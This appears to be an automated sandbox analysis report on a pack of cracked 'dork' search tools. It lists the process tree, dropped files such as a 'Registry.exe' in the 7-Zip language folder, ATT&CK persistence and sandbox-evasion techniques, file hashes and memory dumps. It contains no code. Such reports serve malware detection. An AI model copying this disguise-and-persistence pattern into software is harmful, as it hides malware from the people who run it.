C:\Program Files\7-Zip\Lang\Registry.exe"C:\Program Files\7-Zip\Lang\Registry.exe"1⤵
-
C:\Users\Admin\Desktop\DORK PREMIUM PACK\Dork Gen Crack Final\Dork Gen Cracked.exe"C:\Users\Admin\Desktop\DORK PREMIUM PACK\Dork Gen Crack Final\Dork Gen Cracked.exe"1⤵
-
C:\Users\Admin\Desktop\DORK PREMIUM PACK\Dork Gen Crack Final\build.libbuild.lib2⤵
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\DORK PREMIUM PACK\Dork Gen Crack Final\dorklist.txt1⤵
-
C:\Users\Admin\Desktop\DORK PREMIUM PACK\Dork Searcher EZ\Searcher.exe"C:\Users\Admin\Desktop\DORK PREMIUM PACK\Dork Searcher EZ\Searcher.exe"1⤵
-
C:\Users\Admin\Desktop\DORK PREMIUM PACK\Dork Searcher EZ\Qt5Core.dllQt5Core.dll2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2620 -s 17243⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 2620 -ip 26201⤵
-
C:\Users\Admin\Desktop\DORK PREMIUM PACK\Dork Searcher EZ by VoidPrince\Searcher.exe"C:\Users\Admin\Desktop\DORK PREMIUM PACK\Dork Searcher EZ by VoidPrince\Searcher.exe"1⤵
-
C:\Users\Admin\Desktop\DORK PREMIUM PACK\Dork Searcher EZ by VoidPrince\libEGL32.binlibEGL32.bin2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3132 -s 17683⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 3132 -ip 31321⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Persistence
Modify Existing Service
2Change Default File Association
1Registry Run Keys / Startup Folder
2Scheduled Task
1Defense Evasion
Modify Registry
4Virtualization/Sandbox Evasion
1Impair Defenses
1Scripting
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir1580_1776724572\ChromeRecovery.exeFilesize
253KB
MD549ac3c96d270702a27b4895e4ce1f42a
SHA155b90405f1e1b72143c64113e8bc65608dd3fd76
SHA25682aa3fd6a25cda9e16689cfadea175091be010cecae537e517f392e0bef5ba0f
SHA512b62f6501cb4c992d42d9097e356805c88ac4ac5a46ead4a8eee9f8cbae197b2305da8aab5b4a61891fe73951588025f2d642c32524b360687993f98c913138a0
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\RecoveryImproved\1.3.36.141\Recovery.crx3Filesize
141KB
MD5ea1c1ffd3ea54d1fb117bfdbb3569c60
SHA110958b0f690ae8f5240e1528b1ccffff28a33272
SHA2567c3a6a7d16ac44c3200f572a764bce7d8fa84b9572dd028b15c59bdccbc0a77d
SHA5126c30728cac9eac53f0b27b7dbe2222da83225c3b63617d6b271a6cfedf18e8f0a8dffa1053e1cbc4c5e16625f4bbc0d03aa306a946c9d72faa4ceb779f8ffcaf
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\CachesMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
\??\pipe\crashpad_3680_HRTAEEJOJYPCBISGMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
memory/208-265-0x0000000000000000-mapping.dmp
-
memory/308-271-0x0000000000400000-0x00000000004E8000-memory.dmpFilesize
928KB
-
memory/308-272-0x0000000000400000-0x00000000004E8000-memory.dmpFilesize
928KB
-
memory/308-274-0x0000000000400000-0x00000000004E8000-memory.dmpFilesize
928KB
-
memory/460-140-0x0000000000000000-mapping.dmp
-
memory/636-489-0x0000000000000000-mapping.dmp
-
memory/788-449-0x0000000000000000-mapping.dmp
-
memory/788-455-0x0000000000380000-0x00000000003B0000-memory.dmpFilesize
192KB
-
memory/924-422-0x0000000000000000-mapping.dmp
-
memory/976-395-0x0000000000000000-mapping.dmp
-
memory/1160-273-0x0000000000400000-0x00000000004E8000-memory.dmpFilesize
928KB
-
memory/1228-464-0x0000000000000000-mapping.dmp
-
memory/1304-446-0x00007FFB8F6C0000-0x00007FFB90181000-memory.dmpFilesize
10.8MB
-
memory/1304-445-0x00007FFB8F6C0000-0x00007FFB90181000-memory.dmpFilesize
10.8MB
-
memory/1304-444-0x0000000000000000-mapping.dmp
-
memory/1420-424-0x0000000000000000-mapping.dmp
-
memory/1456-436-0x0000000000310000-0x0000000000373000-memory.dmpFilesize
396KB
-
memory/1556-374-0x0000000000000000-mapping.dmp
-
memory/1796-266-0x0000000000000000-mapping.dmp
-
memory/1796-378-0x0000000000000000-mapping.dmp
-
memory/1844-387-0x0000000000000000-mapping.dmp
-
memory/1940-388-0x0000000000000000-mapping.dmp
-
memory/2112-470-0x0000000000310000-0x0000000000373000-memory.dmpFilesize
396KB
-
memory/2120-269-0x0000000000400000-0x000000000057E000-memory.dmpFilesize
1.5MB
-
memory/2120-268-0x0000000000000000-mapping.dmp
-
memory/2120-270-0x0000000000400000-0x000000000057E000-memory.dmpFilesize
1.5MB
-
memory/2136-471-0x0000000000000000-mapping.dmp
-
memory/2320-139-0x0000000000000000-mapping.dmp
-
memory/2356-383-0x0000000000000000-mapping.dmp
-
memory/2372-472-0x0000000000000000-mapping.dmp
-
memory/2560-485-0x0000000000000000-mapping.dmp
-
memory/2788-480-0x0000000000000000-mapping.dmp
-
memory/2820-375-0x0000000000000000-mapping.dmp
-
memory/3132-428-0x0000000000000000-mapping.dmp
-
memory/3148-185-0x0000000076E10000-0x0000000076EE3000-memory.dmpFilesize
844KB
-
memory/3148-148-0x0000000010000000-0x00000000100BB000-memory.dmpFilesize
748KB
-
memory/3148-175-0x0000000076EF0000-0x00000000774A3000-memory.dmpFilesize
5.7MB
-
memory/3148-176-0x0000000075930000-0x0000000075B40000-memory.dmpFilesize
2.1MB
-
memory/3148-178-0x0000000076780000-0x00000000767A5000-memory.dmpFilesize
148KB
-
memory/3148-179-0x0000000076E10000-0x0000000076EE3000-memory.dmpFilesize
844KB
-
memory/3148-177-0x00000000753D0000-0x0000000075444000-memory.dmpFilesize
464KB
-
memory/3148-180-0x0000000000190000-0x00000000008A0000-memory.dmpFilesize
7.1MB
-
memory/3148-181-0x00000000767B0000-0x000000007685F000-memory.dmpFilesize
700KB
-
memory/3148-182-0x0000000076EF0000-0x00000000774A3000-memory.dmpFilesize
5.7MB
-
memory/3148-183-0x0000000075930000-0x0000000075B40000-memory.dmpFilesize
2.1MB
-
memory/3148-173-0x00000000753D0000-0x0000000075444000-memory.dmpFilesize
464KB
-
memory/3148-184-0x00000000753D0000-0x0000000075444000-memory.dmpFilesize
464KB
-
memory/3148-187-0x0000000077720000-0x00000000777FC000-memory.dmpFilesize
880KB
-
memory/3148-186-0x0000000000190000-0x00000000008A0000-memory.dmpFilesize
7.1MB
-
memory/3148-188-0x00000000767B0000-0x000000007685F000-memory.dmpFilesize
700KB
-
memory/3148-189-0x0000000076EF0000-0x00000000774A3000-memory.dmpFilesize
5.7MB
-
memory/3148-190-0x0000000077800000-0x00000000778E3000-memory.dmpFilesize
908KB
-
memory/3148-191-0x0000000075930000-0x0000000075B40000-memory.dmpFilesize
2.1MB
-
memory/3148-192-0x00000000753D0000-0x0000000075444000-memory.dmpFilesize
464KB
-
memory/3148-193-0x0000000076E10000-0x0000000076EE3000-memory.dmpFilesize
844KB
-
memory/3148-194-0x0000000000190000-0x00000000008A0000-memory.dmpFilesize
7.1MB
-
memory/3148-195-0x0000000076EF0000-0x00000000774A3000-memory.dmpFilesize
5.7MB
-
memory/3148-196-0x0000000075930000-0x0000000075B40000-memory.dmpFilesize
2.1MB
-
memory/3148-197-0x0000000076EF0000-0x00000000774A3000-memory.dmpFilesize
5.7MB
-
memory/3148-198-0x0000000075930000-0x0000000075B40000-memory.dmpFilesize
2.1MB
-
memory/3148-199-0x0000000076EF0000-0x00000000774A3000-memory.dmpFilesize
5.7MB
-
memory/3148-200-0x0000000075930000-0x0000000075B40000-memory.dmpFilesize
2.1MB
-
memory/3148-201-0x0000000076EF0000-0x00000000774A3000-memory.dmpFilesize
5.7MB
-
memory/3148-202-0x0000000075930000-0x0000000075B40000-memory.dmpFilesize
2.1MB
-
memory/3148-203-0x0000000075930000-0x0000000075B40000-memory.dmpFilesize
2.1MB
-
memory/3148-204-0x0000000076EF0000-0x00000000774A3000-memory.dmpFilesize
5.7MB
-
memory/3148-205-0x00000000753D0000-0x0000000075444000-memory.dmpFilesize
464KB
-
memory/3148-206-0x0000000000190000-0x00000000008A0000-memory.dmpFilesize
7.1MB
-
memory/3148-207-0x0000000076EF0000-0x00000000774A3000-memory.dmpFilesize
5.7MB
-
memory/3148-219-0x0000000010000000-0x00000000100BB000-memory.dmpFilesize
748KB
-
memory/3148-234-0x0000000005940000-0x0000000005A1B000-memory.dmpFilesize
876KB
-
memory/3148-236-0x0000000005940000-0x0000000005A1B000-memory.dmpFilesize
876KB
-
memory/3148-235-0x0000000005A20000-0x0000000005A30000-memory.dmpFilesize
64KB
-
memory/3148-238-0x0000000005940000-0x0000000005A1B000-memory.dmpFilesize
876KB
-
memory/3148-240-0x0000000005940000-0x0000000005A1B000-memory.dmpFilesize
876KB
-
memory/3148-237-0x0000000005940000-0x0000000005A1B000-memory.dmpFilesize
876KB
-
memory/3148-143-0x0000000000190000-0x00000000008A0000-memory.dmpFilesize
7.1MB
-
memory/3148-259-0x0000000005940000-0x0000000005A1B000-memory.dmpFilesize
876KB
-
memory/3148-260-0x0000000005A20000-0x0000000005A30000-memory.dmpFilesize
64KB
-
memory/3148-261-0x0000000005940000-0x0000000005A1B000-memory.dmpFilesize
876KB
-
memory/3148-262-0x0000000005940000-0x0000000005A1B000-memory.dmpFilesize
876KB
-
memory/3148-263-0x0000000005940000-0x0000000005A1B000-memory.dmpFilesize
876KB
-
memory/3148-264-0x0000000005940000-0x0000000005A1B000-memory.dmpFilesize
876KB
-
memory/3148-172-0x0000000075930000-0x0000000075B40000-memory.dmpFilesize
2.1MB
-
memory/3148-171-0x0000000076EF0000-0x00000000774A3000-memory.dmpFilesize
5.7MB
-
memory/3148-144-0x00000000779B0000-0x0000000077A2A000-memory.dmpFilesize
488KB
-
memory/3148-169-0x0000000000190000-0x00000000008A0000-memory.dmpFilesize
7.1MB
-
memory/3148-170-0x00000000767B0000-0x000000007685F000-memory.dmpFilesize
700KB
-
memory/3148-168-0x0000000076E10000-0x0000000076EE3000-memory.dmpFilesize
844KB
-
memory/3148-167-0x00000000753D0000-0x0000000075444000-memory.dmpFilesize
464KB
-
memory/3148-165-0x0000000077800000-0x00000000778E3000-memory.dmpFilesize
908KB
-
memory/3148-166-0x0000000075930000-0x0000000075B40000-memory.dmpFilesize
2.1MB
-
memory/3148-163-0x00000000767B0000-0x000000007685F000-memory.dmpFilesize
700KB
-
memory/3148-373-0x0000000010000000-0x00000000100BB000-memory.dmpFilesize
748KB
-
memory/3148-164-0x0000000076EF0000-0x00000000774A3000-memory.dmpFilesize
5.7MB
-
memory/3148-162-0x0000000077720000-0x00000000777FC000-memory.dmpFilesize
880KB
-
memory/3148-145-0x0000000000190000-0x00000000008A0000-memory.dmpFilesize
7.1MB
-
memory/3148-146-0x00000000779B0000-0x0000000077A2A000-memory.dmpFilesize
488KB
-
memory/3148-161-0x0000000000190000-0x00000000008A0000-memory.dmpFilesize
7.1MB
-
memory/3148-147-0x00000000779B0000-0x0000000077A2A000-memory.dmpFilesize
488KB
-
memory/3148-174-0x00000000767B0000-0x000000007685F000-memory.dmpFilesize
700KB
-
memory/3148-149-0x0000000000190000-0x00000000008A0000-memory.dmpFilesize
7.1MB
-
memory/3148-150-0x00000000779B0000-0x0000000077A2A000-memory.dmpFilesize
488KB
-
memory/3148-160-0x0000000075930000-0x0000000075B40000-memory.dmpFilesize
2.1MB
-
memory/3148-151-0x0000000076780000-0x00000000767A5000-memory.dmpFilesize
148KB
-
memory/3148-152-0x0000000000190000-0x00000000008A0000-memory.dmpFilesize
7.1MB
-
memory/3148-159-0x0000000077800000-0x00000000778E3000-memory.dmpFilesize
908KB
-
memory/3148-158-0x0000000076EF0000-0x00000000774A3000-memory.dmpFilesize
5.7MB
-
memory/3148-153-0x00000000779B0000-0x0000000077A2A000-memory.dmpFilesize
488KB
-
memory/3148-154-0x0000000076780000-0x00000000767A5000-memory.dmpFilesize
148KB
-
memory/3148-155-0x0000000000190000-0x00000000008A0000-memory.dmpFilesize
7.1MB
-
memory/3148-156-0x0000000076780000-0x00000000767A5000-memory.dmpFilesize
148KB
-
memory/3148-157-0x00000000767B0000-0x000000007685F000-memory.dmpFilesize
700KB
-
memory/3496-483-0x0000000000000000-mapping.dmp
-
memory/3508-391-0x0000000000000000-mapping.dmp
-
memory/3556-390-0x0000000000000000-mapping.dmp
-
memory/3636-376-0x0000000000000000-mapping.dmp
-
memory/3672-415-0x00000000068A0000-0x0000000006906000-memory.dmpFilesize
408KB
-
memory/3672-413-0x0000000006720000-0x00000000067B2000-memory.dmpFilesize
584KB
-
memory/3672-401-0x0000000000000000-mapping.dmp
-
memory/3672-407-0x0000000000400000-0x0000000000430000-memory.dmpFilesize
192KB
-
memory/3672-419-0x00000000073D0000-0x0000000007446000-memory.dmpFilesize
472KB
-
memory/3672-409-0x0000000005AA0000-0x00000000060B8000-memory.dmpFilesize
6.1MB
-
memory/3672-410-0x0000000005590000-0x000000000569A000-memory.dmpFilesize
1.0MB
-
memory/3672-411-0x0000000002E70000-0x0000000002E82000-memory.dmpFilesize
72KB
-
memory/3672-412-0x0000000002ED0000-0x0000000002F0C000-memory.dmpFilesize
240KB
-
memory/3672-418-0x0000000007F60000-0x0000000007FB0000-memory.dmpFilesize
320KB
-
memory/3672-414-0x0000000006D70000-0x0000000007314000-memory.dmpFilesize
5.6MB
-
memory/3672-417-0x00000000089A0000-0x0000000008ECC000-memory.dmpFilesize
5.2MB
-
memory/3672-416-0x00000000080A0000-0x0000000008262000-memory.dmpFilesize
1.8MB
-
memory/3828-384-0x0000000000000000-mapping.dmp
-
memory/4028-137-0x0000000000000000-mapping.dmp
-
memory/4036-477-0x0000000000000000-mapping.dmp
-
memory/4068-394-0x0000000000000000-mapping.dmp
-
memory/4068-487-0x0000000000000000-mapping.dmp
-
memory/4076-423-0x0000000000000000-mapping.dmp
-
memory/4112-482-0x0000000000000000-mapping.dmp
-
memory/4148-437-0x0000000000310000-0x0000000000373000-memory.dmpFilesize
396KB
-
memory/4164-386-0x0000000000000000-mapping.dmp
-
memory/4412-481-0x0000000000000000-mapping.dmp
-
memory/4420-494-0x00000000029C0000-0x0000000002A10000-memory.dmpFilesize
320KB
-
memory/4420-499-0x00007FFB8F6C0000-0x00007FFB90181000-memory.dmpFilesize
10.8MB
-
memory/4420-491-0x0000000000730000-0x00000000008F6000-memory.dmpFilesize
1.8MB
-
memory/4420-503-0x000000001C894000-0x000000001C897000-memory.dmpFilesize
12KB
-
memory/4420-502-0x000000001C890000-0x000000001C894000-memory.dmpFilesize
16KB
-
memory/4420-493-0x00007FFB8F6C0000-0x00007FFB90181000-memory.dmpFilesize
10.8MB
-
memory/4420-501-0x00007FFB8F6C0000-0x00007FFB90181000-memory.dmpFilesize
10.8MB
-
memory/4420-498-0x000000001C894000-0x000000001C897000-memory.dmpFilesize
12KB
-
memory/4420-500-0x000000001C897000-0x000000001C8A8000-memory.dmpFilesize
68KB
-
memory/4420-497-0x000000001C890000-0x000000001C894000-memory.dmpFilesize
16KB
-
memory/4420-495-0x000000001B529000-0x000000001B52F000-memory.dmpFilesize
24KB
-
memory/4436-389-0x0000000000000000-mapping.dmp
-
memory/4440-382-0x0000000000000000-mapping.dmp
-
memory/4452-456-0x0000000000000000-mapping.dmp
-
memory/4604-258-0x0000000000000000-mapping.dmp
-
memory/4640-441-0x00007FFB8F6C0000-0x00007FFB90181000-memory.dmpFilesize
10.8MB
-
memory/4640-438-0x0000000000CF0000-0x0000000000D1E000-memory.dmpFilesize
184KB
-
memory/4640-439-0x00007FFB8F6C0000-0x00007FFB90181000-memory.dmpFilesize
10.8MB
-
memory/4692-484-0x0000000000000000-mapping.dmp
-
memory/4724-267-0x0000000000000000-mapping.dmp
-
memory/4784-393-0x0000000000000000-mapping.dmp
-
memory/4788-380-0x0000000000000000-mapping.dmp
-
memory/4796-377-0x0000000000000000-mapping.dmp
-
memory/4892-135-0x0000000000000000-mapping.dmp
-
memory/4916-421-0x0000000000000000-mapping.dmp
-
memory/4924-379-0x0000000000000000-mapping.dmp
-
memory/4960-381-0x0000000000000000-mapping.dmp
-
memory/5100-476-0x0000000000000000-mapping.dmp
-
memory/5124-488-0x0000000000000000-mapping.dmp
-
memory/5192-396-0x0000000000000000-mapping.dmp
-
memory/5216-462-0x0000000000310000-0x0000000000373000-memory.dmpFilesize
396KB
-
memory/5232-448-0x0000000000000000-mapping.dmp
-
memory/5260-474-0x0000000000000000-mapping.dmp
-
memory/5264-397-0x0000000000000000-mapping.dmp
-
memory/5444-463-0x0000000000310000-0x0000000000373000-memory.dmpFilesize
396KB
-
memory/5464-496-0x00007FFB8F6C0000-0x00007FFB90181000-memory.dmpFilesize
10.8MB
-
memory/5464-478-0x00007FFB8F6C0000-0x00007FFB90181000-memory.dmpFilesize
10.8MB
-
memory/5464-475-0x0000000000000000-mapping.dmp
-
memory/5472-420-0x0000000000000000-mapping.dmp
-
memory/5536-398-0x0000000000000000-mapping.dmp
-
memory/5608-399-0x0000000000000000-mapping.dmp
-
memory/5620-400-0x0000000000000000-mapping.dmp
-
memory/5720-486-0x0000000000000000-mapping.dmp
-
memory/6008-479-0x0000000000000000-mapping.dmp
-
memory/6008-492-0x00007FFB8F6C0000-0x00007FFB90181000-memory.dmpFilesize
10.8MB
-
memory/6008-490-0x00007FFB8F6C0000-0x00007FFB90181000-memory.dmpFilesize
10.8MB
-
memory/6020-473-0x00007FFB8F6C0000-0x00007FFB90181000-memory.dmpFilesize
10.8MB
-
memory/6020-447-0x00007FFB8F6C0000-0x00007FFB90181000-memory.dmpFilesize
10.8MB
-
memory/6020-443-0x000002CDDA7B0000-0x000002CDDA7D2000-memory.dmpFilesize
136KB
-
memory/6020-442-0x00007FFB8F6C0000-0x00007FFB90181000-memory.dmpFilesize
10.8MB
-
memory/6020-440-0x0000000000000000-mapping.dmp
-
memory/6076-408-0x0000000000310000-0x0000000000373000-memory.dmpFilesize
396KB